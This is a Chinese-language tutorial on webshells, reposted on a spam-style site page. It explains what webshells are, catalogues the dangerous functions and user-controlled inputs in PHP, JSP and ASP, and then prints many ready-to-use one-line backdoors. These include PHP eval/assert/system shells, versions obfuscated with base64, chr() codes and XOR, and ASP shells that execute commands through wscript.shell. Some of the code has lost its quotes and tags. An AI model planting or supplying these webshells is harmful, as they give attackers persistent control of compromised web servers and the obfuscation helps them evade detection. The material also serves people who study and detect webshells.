当前位置: 首页 > news >正文

深圳国外网站建设深圳网页设计有限公司

深圳国外网站建设,深圳网页设计有限公司,商城域名注册管理机构,如何自己做资源类网站Webshell详解 一、 Webshell 介绍二 、 基础常见webshell案例 一、 Webshell 介绍 概念 webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境#xff0c;也可以将其称做为一种网页后门。黑客在入侵了一个网站后#xff0c;通常会将asp或php后门文件与… Webshell详解 一、 Webshell 介绍二 、 基础常见webshell案例 一、 Webshell 介绍 概念 webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境也可以将其称做为一种网页后门。黑客在入侵了一个网站后通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起然后就可以使用浏览器来访问asp或者php后门文件得到一个命令执行环境以达到控制网站服务器的目的。 从字面上来说webshell单词可以拆成web和shell。其中web即服务器所开放的web服务。Shell即命令执行环境用户与服务器操作系统交互的接口。即黑客通过网站提供的web服务建立与服务器进行交互的执行环境从而获取服务器的一些权限最终达到控制网站服务器的目的。 简单介绍 一个最简单的 php webshell ?php system($_GET[1]); ?利用该webshell执行任意命令 webshell本质 如下任意命令执行类webshell一般由以下两部分组成 威胁函数 可控参数 简单总结 Webshell的本质其实是威胁函数和可控参数的组合调用二者缺一不可。 绝大多数webshell都遵循这个原则理解了这个大原则也就基本了解了webshell的逻辑。 威胁函数与可控输入总结常见 php Webshell威胁函数 : 1 - 命令执行类函数: exec,passthru,shell_exec,system,popen,proc_open,expect_popen,pcntl_exec,ssh2_exec, php_check_syntax,virtual,escapeshellcmd2 – 执行代码段函数 assert,eval,create_function,runkit_function_add,runkit_function_redefine 3 – 回调类函数 call_user_func,call_user_func_array,array_diff_uassoc,array_diff_ukey, array_filter,array_intersect_uassoc,array_intersect_ukey,array_map, array_reduce,array_udiff,array_udiff_assoc,array_udiff_uassoc…4 – 文件包含函数 include, require, require_once, include_oncephp webshell 可控输入 $_GET $_POST $_COOKIE $_REQUEST $_FILES $_SERVERjsp webshell 威胁函数类 1 - 命令执行: java.lang.Runtime.getRuntime().exec() java.lang.ProcessBuilder.start() java.lang.ProcessImpl //私有类需要使用反射加载 ScriptEngineManager().getEngineByName().eval() //ScriptEngine(实现与js交互)执行脚本 ELProcessor().eval() //tomcat el表达式 ELManager().getExpressionFactory().createValuexpression() //ELProcessor的eval的底层实现 java.beans.Expression.getValue() //java.beans.Expression命令执行 jdk.jshell.jshell.builder().build().eval() // Java 9 使用 JShell 命令执行2 - 类加载: java.lang.ClassLoader java.net.URLClassLoader3 - 反射 Class.forName({威胁函数})4 - 反序列化 XMLDecoder().readObject() // 类似weblogic xml 反序列化漏洞5 - jndi注入 com.sun.rowset.JdbcRowSetImpljsp 可控输入 1 - Request(HttpServletRequest)的可控参数种类 getParameter, getQueryString, getParameterNames, getInputStream, getReader, getParameterMap, getContentLength, getParameterValues, getHeader, getHeaders, getParameterMap, getHeaderNames, getRequestedSessionId, getCookies, getAttribute, getAttributeNames, getContentLengthLong2 - 其他参数类型: URLConnection(HttpURLConnection) Response(HttpServletResponse) pageContextasp webshell 威胁函数 eval execute executeGlobal (wscript.shell).exec()asp 可控输入 request( Request.BinaryRead()php 函数库参考文档https://www.php.net/ java 类方法参考文档https://tool.oschina.net/apidocs/apidoc?apijdk-zh 二 、 基础常见webshell案例 PHP webshell 类 “一句话webshell” 类 ?php eval($_POST[1]);??php assert($_REQUEST[c]);??php system($_POST[1]);??php shell_exec($_GET[1]);?create_function 函数使用 ?php $antcreate_function(, base64_decode(QGV2YWwoJF9QT1NUWyJhbnQiXSk7));$ant();?字符拼接类 ?php $s0e; $s1val($; $s2_; $s3P; $s4O; $s5ST; $poos$s0.$s1.$s2.$s3.$s4.$s5.[mima]);; $ppeval($poos); eval($pp); ?ascii码隐藏特征字符 ?php $achr; $b$a(97).$a(115).$a(115).$a(101).$a(114).$a(116); echo $b; $b($_POST[cmd]); ?preg_replace 函数 /e 特性使用 ?php $a $_REQUEST[id]; preg_replace(/.*/e, .$a,); ?include 文件包含 ?php include($_GET[bug]); ?异或逻辑运算隐藏特征字符 ?php #$_(%01^).(%13^).(%13^).(%05^).(%12^).(%14^); // $_assert; #$___.(%0D^]).(%2F^).(%0E^]).(%09^]); // $___POST; $_(^).(^).(^).(^).(^).(^); // $_assert; $___.({^).(/^).(^]).( ^]); // $___POST; echo $__; $___$$__; $_($___[_]); // assert($_POST[_]); ?asp webshell类 eval 执行任意命令 %eval request(qt)%execute 执行任意命令 % dim a(5) a(0)request(404) eXecUTe(a(0)) %COM组件命令执行 %server.createobject(wscript.shell).exec(cmd.exe /c request(qt)).stdout.readall%
http://www.hkea.cn/news/14518003/

相关文章:

  • 如何在谷歌做网站外链北京网站域名备案
  • 深圳做网站的公司排行icp许可证对网站的要求
  • 成都房建设部网站一流的做pc端网站
  • 笑话网站html模板北京城建建设工程有限公司
  • 网站建设技能培训茂名网站建设哪家好
  • 洛阳建站公司效果国际知名设计公司收入
  • 官方网站建设公优秀企业网站建设
  • 建设个网站从哪里盈利网站为什么会被k
  • 页面设计代码怎么写seo权重查询
  • 聊城网站制作价格国际外贸网站推广
  • 推广网站代码wordpress禁止下载图片
  • 北京网站优化经理大型网站构建实施方案
  • 用django怎么做网站给别人做网站被诉侵权
  • 网站制作费用大概多少天长网络推广
  • 百度统计网站速度诊断工具农村创业好项目
  • 建设一个用教育网站wordpress 文章自定义字段
  • 做企业网站设计手机站小人发射爱心代码html
  • 电商网站储值消费系统html网页游戏制作
  • wordpress加载谷歌吕梁seo网站建设
  • 台州做网站最好的it学校哪个比较好
  • 青岛建设集团招工信息网站优秀排版设计图片
  • 住房和建设部网站首页找公司做网站怎么图片都要自己找
  • 学校网站开发灵宝网站建设
  • wordpress dux 高亮沈阳关键字优化
  • 如何做网站链接分析seo优化一般包括哪些内容()。
  • 室内设计模拟app丹阳网站怎么做seo
  • 网站开发方案案例现在去成都需要隔离吗?
  • 建设银行网站注册不了一般通过 什么意思
  • 深圳制作网站主页百度推广入口
  • WordPress网站修改重庆建网站公司